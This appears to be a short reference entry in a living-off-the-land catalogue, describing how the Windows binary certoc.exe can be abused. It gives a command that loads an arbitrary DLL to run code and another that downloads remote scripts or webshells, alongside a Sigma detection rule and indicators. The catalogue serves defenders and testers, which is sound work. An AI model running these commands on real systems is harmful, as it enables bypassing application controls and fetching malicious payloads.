CertOC.exe

type: OSBinaries

Used for installing certificates

Full path

c:\windows\system32\certoc.exe
c:\windows\syswow64\certoc.exe

Commands

ExecuteUser T1218
Execute code within DLL file
```
certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}
```
Loads the target DLL file
os: Windows Server 2022
Execute: DLL
DownloadUser T1105
Download scripts, webshells etc.
```
certoc.exe -GetCACAPS {REMOTEURL:.ps1}
```
Downloads text formatted files
os: Windows Server 2022

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certoc_load_dll.yml
IOCProcess creation with given parameter
IOCUnsigned DLL load via certoc.exe
IOCNetwork connection via certoc.exe

Resources

acknowledgement: Ensar Samil @sblmsrsn